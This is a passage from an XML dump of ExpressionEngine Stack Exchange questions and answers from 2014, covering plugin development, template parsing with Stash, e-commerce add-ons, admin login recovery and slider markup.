$media-&amp;gt;user-&amp;gt;username;&#xA;            $comment = $media-&amp;gt;caption-&amp;gt;text;&#xA;            $content .= &quot;&amp;lt;div class=\&quot;content\&quot;&amp;gt;&#xA;                           &amp;lt;div class=\&quot;avatar\&quot; style=\&quot;background-image: url({$avatar})\&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                           &amp;lt;h3&amp;gt;{$username}&amp;lt;/h3&amp;gt;&#xA;                           &amp;lt;div class=\&quot;comment\&quot;&amp;gt;&amp;lt;p&amp;gt;{$comment}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                         &amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;            // output media&#xA;            echo $content . &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;          }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;What I used in the template&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_instagram_image(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to do the same in Expression Engine. I am aware of libraries/addons etc but I am struggling to keep it as simple as I have done in WP above and I am sure it can be as its only a php script at the end of the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is either create a plugin or new ee class that does exactly what I have done above but in my ee templates and frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction? I want to develop my own and not use one already out there because I want to keep as clean as possible and not overly bloated and complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2014-04-02T12:37:58.827" Title="How can I use third party class in EE to render instagram images on templates?" Tags="|add-on-development|php|plugin|custom-classes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20912" PostTypeId="2" ParentId="20911" CreationDate="2014-04-02T12:37:58.827" Score="1" Body="&lt;p&gt;What you have there you can &lt;em&gt;almost&lt;/em&gt; just wrap in a plugin. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;Start by reading the plugin development docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can probably simplify your code - and make it more flexible - by instead of building your output markup inside of the plugin, populating an array of data, then returning it to the template, where you use EE variables to create your markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&quot; rel=&quot;nofollow&quot;&gt;Read the docs on the Template class&lt;/a&gt; for an overview of how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a real quick bit of code as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = array();&#xA;foreach ($result-&amp;gt;data as $media)&#xA;{&#xA;    $vars[] = array(&#xA;        'type' =&amp;gt; $media-&amp;gt;type,&#xA;        'image' =&amp;gt; $media-&amp;gt;images-&amp;gt;standard_resolution-&amp;gt;url,&#xA;        'video' =&amp;gt; $media-&amp;gt;videos-&amp;gt;standard_resolution-&amp;gt;url,&#xA;        'avatar' =&amp;gt; $media-&amp;gt;user-&amp;gt;profile_picture,&#xA;        'username' =&amp;gt; $media-&amp;gt;user-&amp;gt;username,&#xA;        'comment' =&amp;gt; $media-&amp;gt;caption-&amp;gt;text&#xA;    );&#xA;}&#xA;return ee()-&amp;gt;TMPL-&amp;gt;parse_variables(ee()-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use this in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin:instagram_image}&#xA;    {if type == 'video'}&#xA;        // build your video embed using the above variables ({source}, {image}, etc)&#xA;    {/if}&#xA;    {if type == 'image'}&#xA;        &amp;lt;img src=&quot;{image}&quot; alt=&quot;{caption}&quot; /&amp;gt;&#xA;    {/if}&#xA;{/exp:my_plugin:instagram_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-02T12:37:58.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20913" PostTypeId="2" ParentId="20898" CreationDate="2014-04-02T12:43:09.570" Score="1" Body="&lt;p&gt;The array that you're passing to &lt;code&gt;parse_variables&lt;/code&gt; is incorrectly structured - it needs to be one level deeper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fix this either by wrapping it in an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, array($data));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or using &lt;code&gt;parse_variables_row&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-02T12:43:09.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20914" PostTypeId="1" CreationDate="2014-04-02T12:45:47.717" Score="0" ViewCount="286" Body="&lt;p&gt;I have a web app built with ExpressionEngine (2.8.0 at present) and I want to use it to auto-generate an appcache manifest file (I have been generating it manually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can generate the &lt;strong&gt;content&lt;/strong&gt; of the manifest easily enough with a standard template, and I can use htaccess to…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddType text/cache-manifest .appcache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;…but how best can I get the output of my template served as a &lt;strong&gt;.appcache&lt;/strong&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="354" LastActivityDate="2014-04-02T12:52:21.343" Title="How to generate a manifest.appcache from a template?" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20915" PostTypeId="2" ParentId="20914" CreationDate="2014-04-02T12:52:21.343" Score="1" Body="&lt;p&gt;I haven't thought about this before but you could do it with a bit of PHP in a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PHP would loop through any directories you specify and output the names of files you wish to cache - either directly or writing to a separate cache manifest file (I'd try the former).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this you'd need to create a template and turn on PHP for the output stage then within that write your PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should get you started &lt;a href=&quot;http://motyar.blogspot.co.uk/2011/09/creating-cache-manifest-file-using-php.html&quot; rel=&quot;nofollow&quot;&gt;http://motyar.blogspot.co.uk/2011/09/creating-cache-manifest-file-using-php.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach seems a bit &quot;scatter-gun&quot;. I think it would be better to only cache files that were used. I'm not sure how to achieve that but maybe the answer is simply to ensure that assets you wish to cache are in particular directories away from assets you don't wish to cache.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-02T12:52:21.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20917" PostTypeId="2" ParentId="20881" CreationDate="2014-04-02T13:23:37.410" Score="1" Body="&lt;p&gt;Sounds like you are building a custom extension. A start might look something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would have to know a little bit more about your products to give you a better example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function cartthrob_update_cart_end()&#xA;{&#xA;$items = ee()-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;items_array();&#xA;&#xA;foreach($items as $key =&amp;gt; $value)&#xA;{&#xA;&#xA;    if($value['title'] == &quot;Some on the Fly Product&quot;)&#xA;    {&#xA;        // do something&#xA;    }&#xA;&#xA;}&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;save();&#xA;&#xA;} // END cartthrob_update_cart_end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="336" LastActivityDate="2014-04-02T13:23:37.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20918" PostTypeId="1" CreationDate="2014-04-02T14:22:10.493" Score="0" ViewCount="447" Body="&lt;p&gt;I appear to have been logged out and cannot log back in to the site.&#xA;Heres what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Installed Zoo Visitor&lt;/li&gt;&#xA;&lt;li&gt;created a new Clients member group&lt;/li&gt;&#xA;&lt;li&gt;added a zoo visitor channel field to another channel (Notice&#xA;Channel)&lt;/li&gt;&#xA;&lt;li&gt;edited a Notice channel entry and added a new member to Clients from&#xA;the zoo visitor field&lt;/li&gt;&#xA;&lt;li&gt;It went straight to a grey Error page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I cannot log in with my super admin account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Im pretty far into development of this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.7.3&#xA;Zoo visitor version: latest.&#xA;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2014-11-25T14:05:25.923" Title="Super Admin locked out of ExpressionEngine Control Panel (Zoo Visitor Addon)" Tags="|login|zoo-visitor|super-admin|zoo|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20919" PostTypeId="1" CreationDate="2014-04-02T14:43:12.203" Score="1" ViewCount="80" Body="&lt;p&gt;The website designer we have hired has created our site in Expression Engine and has included a shopping cart to handle donations, registrations and craft shop sales. We are being told that there is no way to automatically calculate shipping charges based on weight and shipping location. They have told us we need to calculate shipping manually for each item. Can you recommend a plug-in or something that can calculate shipping automatically? I can't imagine one doesn't exist that is affordable.&lt;/p&gt;&#xA;" OwnerUserId="2924" LastActivityDate="2016-06-08T20:20:40.980" Title="Shopping Cart &amp; Shipping Charges" Tags="|add-on|shipping|shopping-cart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20920" PostTypeId="2" ParentId="20918" CreationDate="2014-04-02T14:59:49.603" Score="1" Body="&lt;p&gt;Have you tried logging in using your Super Admin email address as your username?&lt;/p&gt;&#xA;" OwnerUserId="335" LastActivityDate="2014-04-02T14:59:49.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20921" PostTypeId="2" ParentId="20918" CreationDate="2014-04-02T15:03:59.390" Score="1" Body="&lt;p&gt;I would recommend changing your admin_session_type in the config file to $config['admin_session_type'] = 's'; and trying again... if 's' (session) doesn't do the trick try 'c' (cookie)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might also be worth taking a peek at &lt;a href=&quot;http://ellislab.com/forums/viewthread/216411/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/216411/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you locked out your account from some reason, you might have to clear out entries in the exp_password_lockout table for that user.&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2014-04-02T15:03:59.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20922" PostTypeId="1" AcceptedAnswerId="20965" CreationDate="2014-04-02T15:15:17.947" Score="0" ViewCount="58" Body="&lt;p&gt;I had this scenario working before:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Stash &quot;standard.hmtl&quot; template with {exp:stash:get name=&quot;maincontent&quot;}&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A single-view template for products that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set the page layout --}&#xA;{stash:embed:layouts:standard}&#xA;&#xA;{exp:stash:set name=&quot;body_id&quot;}category_index{/exp:stash:set}&#xA;&#xA;{!-- main page variables --}&#xA;{exp:stash:set name=&quot;maincontent&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;{if no_results OR segment_3!=&quot;&quot;}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;intro&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;                        {ll_intro}&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /text --&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /intro --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;products-new&quot;&amp;gt;&#xA;&#xA;                &amp;lt;ul class=&quot;noGrid&quot;&amp;gt;&#xA;                {exp:low_variables:pair var=&quot;ll_products&quot; multiple=&quot;yes&quot; &#xA;                        status='{exp:stash:get name=&quot;functions:preview-status&quot; file=&quot;yes&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}' &#xA;                        parse=&quot;inward&quot;}&#xA;&#xA;                 {if no_results:no_results}&#xA;                 {exp:stash:get name=&quot;sn_no_results&quot; type=&quot;snippet&quot;}&#xA;                 {/if}&#xA;&#xA;                 {stash:embed name=&quot;snippets:productdiv-new&quot; process=&quot;start&quot;}&#xA;&#xA;                  {/exp:low_variables:pair}&#xA;                  &amp;lt;li class=&quot;gap&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;                  &amp;lt;li class=&quot;gap&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;                  &amp;lt;/ul&amp;gt;&#xA;&#xA;         &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /content --&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;snippets:productdiv-new contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;mix {if product_price:plus_tax_numeric &amp;gt; &quot;88.99&quot;}freeshipping{/if} {brand}&quot; data-price=&quot;{product_price:plus_tax_numeric}&quot;&amp;gt;&#xA;                            {if status == &quot;Draft&quot;}&amp;lt;img class=&quot;draft&quot; src=&quot;/assets/img/site/draft.png&quot; /&amp;gt;{/if}&#xA;                            {exp:entry_age unit=&quot;days&quot; max_age=&quot;21&quot; entry_date=&quot;{entry_date}&quot;}&#xA;                            &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&#xA;                                &amp;lt;img class=&quot;new-badge&quot; src=&quot;/assets/img/site/neu.png&quot; alt=&quot;Neu! (ein 'Fähnchen', welches signalisiert, dass dieses Produkt neu in unseren Shop aufgenommen wurde)&quot; /&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                            {/exp:entry_age}&#xA;                            &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&#xA;                                {if produktbilder}&#xA;                                {exp:channel_images:images entry_id=&quot;{entry_id}&quot; cover_only=&quot;yes&quot;}&#xA;                                &amp;lt;img class=&quot;product&quot; src=&quot;{image:url:index_thumbnail}&quot; width=&quot;{image:width:index_thumbnail}&quot; height=&quot;{image:height:index_thumbnail}&quot; alt=&quot;{image:title}&quot; /&amp;gt;&#xA;                                {/exp:channel_images:images}&#xA;                                {if:else}&#xA;&#xA;                                &amp;lt;img class=&quot;product&quot; src=&quot;/assets/img/site/no_picture.png&quot; alt=&quot;Platzhaltergrafik mit der Aufschrift 'Kein bild'&quot; /&amp;gt;&#xA;                                {/if}&#xA;&#xA;                                &amp;lt;div class=&quot;availability-new&quot;&amp;gt;&#xA;                                    {if product_inventory == &quot;0&quot;}&#xA;&#xA;                                    &amp;lt;img src=&quot;/assets/img/site/availability_red.png&quot; alt=&quot;Ampel, die auf rot steht&quot; title=&quot;Dieser Artikel ist bald wieder für Sie verfügbar&quot; /&amp;gt;{/if}&#xA;                                    {if product_inventory &amp;gt; &quot;0&quot;}&#xA;&#xA;                                    &amp;lt;img src=&quot;/assets/img/site/availability_green.png&quot; alt=&quot;Ampel, die auf rot steht&quot; title=&quot;Der Artikel ist auf Lager&quot; /&amp;gt;{/if}&#xA;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;meta&quot;&amp;gt;&#xA;                                {if product_price:plus_tax_numeric &amp;gt; &quot;88.99&quot;}&#xA;&#xA;                                &amp;lt;a class=&quot;image&quot; href=&quot;{page_url}&quot;&amp;gt;&#xA;                                    &amp;lt;img src=&quot;/assets/img/site/truck-green-23.png&quot; alt=&quot;Truck&quot; title=&quot;Kostenfreier Versand!&quot; /&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                                {/if}&#xA;                                {if channel_video}&#xA;                                {exp:channel_videos:videos entry_id=&quot;{entry_id}&quot;}&#xA;                                &amp;lt;a class=&quot;video image&quot; href=&quot;{video:url}&quot;&amp;gt;&#xA;                                    &amp;lt;img src=&quot;/assets/img/site/play-red-20.png&quot; alt=&quot;Kamerasymbol&quot; title=&quot;Zu diesem Artikel ist ein Produktvideo vorhanden&quot; /&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                                {/exp:channel_videos:videos}&#xA;                                {/if}&#xA;&#xA;                            &amp;lt;/div&amp;gt;&amp;lt;!-- /meta --&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;schatten&quot;&amp;gt;&#xA;                                &amp;lt;img src=&quot;/assets/img/site/shadow_img_index.png&quot; alt=&quot;Schatten&quot; style=&quot;width: 190px;&quot;/&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;h3&amp;gt;{title}{if subtitle}&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;{subtitle}&amp;lt;/span&amp;gt;{/if}&amp;lt;/h3&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;price&quot;&amp;gt;&#xA;                                {if product_original_price &amp;amp;&amp;amp; product_original_price &amp;gt; product_price}&#xA;&#xA;                                &amp;lt;span class=&quot;reduced_price&quot;&amp;gt;{product_price:plus_tax}&amp;amp;nbsp;&amp;amp;#8364;&amp;lt;/span&amp;gt;&amp;amp;nbsp;&amp;lt;span class=&quot;original_price&quot;&amp;gt;{product_original_price:plus_tax}&amp;amp;nbsp;&amp;amp;#8364;&amp;lt;/span&amp;gt;&#xA;                                {if:else}&#xA;&#xA;                                &amp;lt;div class=&quot;price&quot;&amp;gt;{product_price:plus_tax}&amp;amp;nbsp;&amp;amp;#8364;&amp;lt;/div&amp;gt;&#xA;                                {/if}&#xA;&#xA;                            &amp;lt;/div&amp;gt;&amp;lt;!-- /price --&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When pasting the content from snippets:productdiv-new directly into the single-view template everything's working as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When putting the code into a Stash snippet and then calling it like in the above codeblock ({stash:embed name=&quot;snippets:productdiv-new&quot; process=&quot;start&quot;}) everything works &lt;strong&gt;BUT&lt;/strong&gt; the images from {exp:channel_images:images...} are not being displayed, the inventory doesn't get reflected and videos and freeshipping if conditionals don't get parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basiclly all of the if conditionals don't get evaluated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the very same code working before but since upgrading Stash from 2.3.9 to 2.4.4 it isn't working anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone able to spot the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-04-03T12:43:46.283" Title="Playa in a Low Variable and Stash problems after Update to latest stable Stash version" Tags="|playa|stash|conditionals|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20923" PostTypeId="2" ParentId="20919" CreationDate="2014-04-02T15:17:04.290" Score="0" Body="&lt;p&gt;This is going to depend on which add-on was used to provide the ecommerce functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will most likely be Cartthrob, Expresso Store or Brilliant Retail. If it's a really old and basic site then it might be using SimpleCommerce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any of those names ring a bell?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the Add-ons-&gt;Modules menu do any of those names appear?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-02T15:17:04.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20924" PostTypeId="1" CreationDate="2014-04-02T15:17:51.163" Score="1" ViewCount="54" Body="&lt;p&gt;Client wants to sell several titles, with customer choosing either MP3 Download or CD. How do I set it up so the downloadable MP3 is the default for each title, with CD as a product option? Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help will be much appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2068" LastActivityDate="2014-04-02T19:07:03.873" Title="Download / CD as a product options in Expresso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20925" PostTypeId="2" ParentId="20918" CreationDate="2014-04-02T15:18:50.737" Score="1" Body="&lt;p&gt;If the issue is logging in, and that's it, you can change replace your password in the exp_members table with an md5 hash of a password, and then log in using the unhashed version of the password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible to log yourself in programmatically (see &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9968/ee-2-6-0-password-reset-not-working/9969#9969&quot;&gt;EE 2.6.0 Password Reset not working&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-04-02T15:18:50.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20926" PostTypeId="2" ParentId="20888" CreationDate="2014-04-02T15:24:24.977" Score="1" Body="&lt;p&gt;You say nothing has changed but &lt;em&gt;something&lt;/em&gt; must have. Even if it's a change to the server set up (perhaps made by your host) it could have an effect. So it might be worth asking your host if any updates were made in the last 48 hours. This may at least give you a clue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Were any options changed in the site CP? Such as cookie settings, requiring and IP and user agent, prevent multiple logins etc. These could all have an effect too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you might want to check is under Admin-&gt;Security and Privacy Settings and try changing the method being used for the User Session Type. Just switch it to another option, clear your cookies and try again. That might work.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-02T15:24:24.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20927" PostTypeId="1" AcceptedAnswerId="20967" CreationDate="2014-04-02T15:55:23.567" Score="0" ViewCount="206" Body="&lt;p&gt;I'm running Freeform 4.1.3 on an EE 2.5.5 site. It is an MSM site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been encountering the same issue mentioned here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18882/freeform-only-sends-notifications-with-default-template&quot;&gt;Freeform only sends notifications with default template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried upgrading to the latest (4.1.5) and I encounter the following errors: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: fingerprint&#xA;Filename: addon_builder/addon_builder.php&#xA;Line Number: 4259&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://d.pr/i/inTS&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://d.pr/i/inTS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In doing some debugging this appears to be related to some &#xA;&#xA;&lt;p&gt;I don't have a copy of 4.1.4 to test with to see if the same issue is happening with 4.1.4. Thanks for taking a look.&lt;/p&gt;&#xA;" OwnerUserId="203" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-04-03T15:08:58.947" Title="Freeform 4.1.5 fingerprint PHP error" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20928" PostTypeId="1" AcceptedAnswerId="20942" CreationDate="2014-04-02T16:10:28.453" Score="3" ViewCount="46" Body="&lt;p&gt;I am shifting to a two-server setup for running my site. This would mean one server handles MySQL and one handles web stuff. My understanding is all I need to do to make this function with EE (version 2.x) is to edit the database.php config file for EE on the server that handles the php to point to the IP of the MySQL server, but is there anything else I should do?&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-04-02T20:12:23.080" Title="Running EE across two servers - how to setup?" Tags="|ee2|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20929" PostTypeId="1" AcceptedAnswerId="20962" CreationDate="2014-04-02T16:20:11.940" Score="0" ViewCount="302" Body="&lt;p&gt;I suppose I could consider my very experienced with ExpressionEngine.. But I've come across a stumper here and I know the answer is probably obvious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client has handed me a design to port over to expression engine and implement all the bells and whistles. They have included their slider of choice in the design.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div class=&quot;slider&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;shell&quot;&amp;gt;        &#xA;        &amp;lt;div class=&quot;slider-caption&quot;&amp;gt;&#xA;           &amp;lt;h3&amp;gt;Lorem ipsum&amp;lt;/h3&amp;gt;&#xA;&#xA;           &amp;lt;h2&amp;gt;Epsum factorial &amp;lt;br /&amp;gt; non deposit&amp;lt;/h2&amp;gt;&#xA;&#xA;           &amp;lt;div class=&quot;actions&quot;&amp;gt;&#xA;              &amp;lt;a href=&quot;#&quot; class=&quot;link-more&quot;&amp;gt;read more&amp;lt;/a&amp;gt;&#xA;           &amp;lt;/div&amp;gt;&amp;lt;!-- /.actions --&amp;gt;   &#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.slider-caption --&amp;gt;        &#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- /.shell --&amp;gt;&#xA;     &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;slide&quot;&amp;gt;&#xA;           &amp;lt;img src=&quot;{images}/slide-01.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li class=&quot;slide&quot;&amp;gt;&#xA;           &amp;lt;img src=&quot;{images}/slide-02.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li class=&quot;slide&quot;&amp;gt;&#xA;           &amp;lt;img src=&quot;{images}/slide-01.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li class=&quot;slide&quot;&amp;gt;&#xA;           &amp;lt;img src=&quot;{images}/slide-02.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;     &amp;lt;/ul&amp;gt;&amp;lt;!-- /.slides --&amp;gt;&#xA;     &amp;lt;div class=&quot;shell&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;slider-paging&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- /.slider-paging --&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- /.shell --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- /.slider --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^I'm sure you've seen the problem already. I cannot simply 'wrap' this section inside a channel tag, it would break the styling. Nor can I simply use two channel tags (unless I'm missing something) to populate both areas and keep them in sync with each other for each slide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here was my initial (lazy) attempt: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;slider&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;shell&quot;&amp;gt;        &#xA;         {exp:channel:entries channel=&quot;home_slider&quot; limit=&quot;4&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot;}&#xA;          &amp;lt;div class=&quot;slider-caption&quot;&amp;gt;&#xA;           &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&#xA;           &amp;lt;h2&amp;gt;{home_slider_text}&amp;lt;/h2&amp;gt;&#xA;&#xA;           {if home_slider_link !==''}&#xA;           &amp;lt;div class=&quot;actions&quot;&amp;gt;&#xA;              &amp;lt;a href=&quot;{home_slider_link}&quot; class=&quot;link-more&quot;&amp;gt;read more&amp;lt;/a&amp;gt;&#xA;           &amp;lt;/div&amp;gt;&amp;lt;!-- /.actions --&amp;gt;   &#xA;           {/if}&#xA;           &amp;lt;/div&amp;gt;&amp;lt;!-- /.slider-caption --&amp;gt;  &#xA;          